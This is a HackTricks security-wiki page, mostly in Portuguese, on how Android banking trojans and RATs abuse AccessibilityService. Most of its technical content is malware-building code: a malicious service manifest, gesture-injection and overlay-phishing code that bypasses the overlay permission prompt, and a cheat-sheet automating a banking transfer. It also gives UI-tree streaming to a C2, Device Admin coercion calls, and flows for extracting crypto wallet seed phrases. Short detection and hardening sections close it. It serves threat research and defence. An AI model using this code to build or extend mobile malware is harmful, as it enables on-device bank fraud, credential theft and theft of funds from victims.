Android Accessibility Service Abuse
Reading time: 9 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
Visão geral
AccessibilityService foi criado para ajudar usuários com deficiências a interagir com dispositivos Android. Infelizmente, as mesmas powerful automation APIs (global navigation, text input, gesture dispatch, overlay windows…) podem ser utilizadas por malware para obter controle remoto completo do aparelho sem privilégios de root.
Trojans bancários Android modernos e Remote-Access-Trojans (RATs) como PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda e muitos outros seguem a mesma receita:
- Social-engineer a vítima para habilitar um serviço de acessibilidade malicioso (a permissão BIND_ACCESSIBILITY_SERVICE é considerada "high-risk" e requer uma ação explícita do usuário).
 - Aproveitar o serviço para
 
- capturar todos os eventos de UI e textos que aparecem na tela,
 - injetar gestos sintéticos (
dispatchGesture) e ações globais (performGlobalAction) para automatizar qualquer tarefa que o operador desejar, - desenhar overlays em tela cheia sobre apps legítimos usando o tipo de janela TYPE_ACCESSIBILITY_OVERLAY (sem prompt 
SYSTEM_ALERT_WINDOW!), - conceder silenciosamente permissões de runtime adicionais clicando nos diálogos do sistema em nome da vítima.
 
- Exfiltrar dados ou executar On-Device-Fraud (ODF) em tempo real enquanto o usuário está olhando para uma tela aparentemente normal.
 
Requesting the permission
<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>
O XML acompanhante define como o diálogo falso ficará:
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>
Primitivas de automação de UI remota
public class EvilService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// harvest text or detect foreground app change
}
// Simulate HOME / BACK / RECENTS …
private void navHome()     { performGlobalAction(GLOBAL_ACTION_HOME); }
private void navBack()     { performGlobalAction(GLOBAL_ACTION_BACK); }
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }
// Generic tap / swipe
public void tap(float x, float y) {
Path p = new Path(); p.moveTo(x, y);
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
}
}
Com apenas essas duas APIs, um atacante pode:
- Desbloquear a tela, abrir o aplicativo bancário, navegar na sua árvore de UI e submeter um formulário de transferência.
 - Aceitar todos os diálogos de permissão que surgirem.
 - Instalar/atualizar APKs extras via intent do Play Store.
 
Padrões de abuso
1. Overlay Phishing (Credential Harvesting)
Um WebView transparente ou opaco é adicionado ao gerenciador de janelas:
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY,                      // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL,       // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);
A vítima digita credenciais no formulário falso enquanto o app em segundo plano recebe os mesmos gestos – nenhum prompt suspeito "draw over other apps" é exibido.
Exemplo detalhado: a Accessibility Overlay Phishing section inside the Tapjacking page.
2. Automação de fraude no dispositivo
Famílias de malware como PlayPraetor mantêm um canal WebSocket persistente onde o operador pode emitir comandos de alto nível (init, update, alert_arr, report_list, …). O serviço traduz esses comandos nos gestos de baixo nível acima, realizando transações não autorizadas em tempo real que contornam facilmente a autenticação multifator vinculada a esse mesmo dispositivo.
3. Transmissão e monitoramento de tela
Ao combinar a MediaProjection API com uma biblioteca cliente RTMP, o RAT pode transmitir o framebuffer ao vivo para rtmp://<c2>:1935/live/<device_id>, dando ao adversário perfeita consciência situacional enquanto o engine Accessibility controla a UI.
PlayPraetor – fluxo de comando e controle
- HTTP(S) heartbeat – iterar sobre uma lista hard-coded até que um domínio responda 
POST /app/searchPackageNamecom o C2 ativo. - WebSocket (port 8282) – comandos JSON bidirecionais:
 
update– push new conf/APKsalert_arr– configure overlay templatesreport_list– send list of targeted package namesheartbeat_web– keep-alive
- RTMP (port 1935) – transmissão ao vivo de tela/vídeo.
 - REST exfiltration –
 
/app/saveDevice(impressão digital)/app/saveContacts|/app/saveSms|/app/uploadImageBase64/app/saveCardPwd(credenciais bancárias)
A AccessibilityService é o motor local que converte esses comandos da nuvem em interações físicas.
Detectando serviços de acessibilidade maliciosos
adb shell settings get secure enabled_accessibility_services- Settings → Accessibility → Downloaded services – procure por apps que não sejam do Google Play.
 - Soluções MDM / EMM podem impor 
ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY(Android 13+) para bloquear serviços instalados por sideload. - Analisar serviços em execução:
 
adb shell dumpsys accessibility | grep "Accessibility Service"
Recomendações de endurecimento para desenvolvedores de apps
- Marque views sensíveis com 
android:accessibilityDataSensitive="accessibilityDataPrivateYes"(API 34+). - Combine 
setFilterTouchesWhenObscured(true)comFLAG_SECUREpara prevenir sequestro de toques/overlays. - Detecte overlays consultando 
WindowManager.getDefaultDisplay().getFlags()ou a APIViewRootImpl. - Recuse operar quando 
Settings.canDrawOverlays()ou um Accessibility service não confiável estiver ativo. 
ATS automation cheat-sheet (Accessibility-driven)
Malware pode automatizar totalmente um app bancário usando apenas Accessibility APIs. Primitivas genéricas:
// Helpers inside your AccessibilityService
private List<AccessibilityNodeInfo> byText(String t){
AccessibilityNodeInfo r = getRootInActiveWindow();
return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t);
}
private boolean clickText(String t){
for (AccessibilityNodeInfo n: byText(t)){
if (n.isClickable()) return n.performAction(ACTION_CLICK);
AccessibilityNodeInfo p = n.getParent();
if (p != null) return p.performAction(ACTION_CLICK);
}
return false;
}
private void inputText(AccessibilityNodeInfo field, String text){
Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text);
field.performAction(ACTION_SET_TEXT, b);
}
private void tap(float x, float y){
Path p = new Path(); p.moveTo(x,y);
dispatchGesture(new GestureDescription.Builder()
.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null);
}
Fluxo de exemplo (tcheco → rótulos em inglês):
- "Nová platba" (Novo pagamento) → clicar
 - "Zadat platbu" (Inserir pagamento) → clicar
 - "Nový příjemce" (Novo destinatário) → clicar
 - "Domácí číslo účtu" (Número de conta doméstica) → focalizar e 
ACTION_SET_TEXT - "Další" (Próximo) → clicar → … "Zaplatit" (Pagar) → clicar → inserir PIN
 
Fallback: coordenadas fixas com dispatchGesture quando a busca por texto falha devido a widgets personalizados.
Também observado: etapas prévias para check_limit e limit navegando até a interface de limites e aumentando os limites diários antes da transferência.
Pseudo-transmissão baseada em texto da tela
Para controle remoto de baixa latência, em vez de transmitir vídeo completo, extraia uma representação textual da árvore UI atual e envie-a repetidamente para o C2.
private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
if (n==null) return;
Rect b = new Rect(); n.getBoundsInScreen(b);
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
sb.append(indent).append("[").append(cls).append("] ")
.append(txt==null?"":txt).append(" ")
.append(b.toShortString()).append("\n");
for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+"  ", sb);
}
Isto é a base para comandos como txt_screen (one-shot) e screen_live (contínuo).
Device Admin coercion primitives
Uma vez que um receptor Device Admin esteja ativado, essas chamadas aumentam as oportunidades de capturar credenciais e manter o controle:
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
ComponentName admin = new ComponentName(this, AdminReceiver.class);
// 1) Immediate lock
dpm.lockNow();
// 2) Force credential change (expire current PIN/password)
dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android
// 3) Disable biometric unlock to force PIN/pattern entry
int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
dpm.setKeyguardDisabledFeatures(admin, flags);
Nota: a disponibilidade exata dessas políticas varia conforme a versão do Android e o OEM; valide o papel de device policy (admin vs owner) durante os testes.
Crypto wallet seed-phrase extraction patterns
Observed flows for MetaMask, Trust Wallet, Blockchain.com and Phantom:
- Unlock with stolen PIN (captured via overlay/Accessibility) or provided wallet password.
 - Navegar: Settings → Security/Recovery → Reveal/Show recovery phrase.
 - Coletar a frase via keylogging dos nós de texto, bypass de secure-screen, ou screenshot OCR quando o texto estiver obscured.
 - Support multiple locales (EN/RU/CZ/SK) to stabilise selectors – prefer 
viewIdResourceNamewhen available, fallback to multilingual text matching. 
NFC-relay orchestration
Accessibility/RAT modules can install and launch a dedicated NFC-relay app (e.g., NFSkate) as a third stage and even inject an overlay guide to shepherd the victim through card-present relay steps.
Background and TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay
References
- PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT
 - Android accessibility documentation – Automating UI interaction
 - The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)
 - GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)
 
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
HackTricks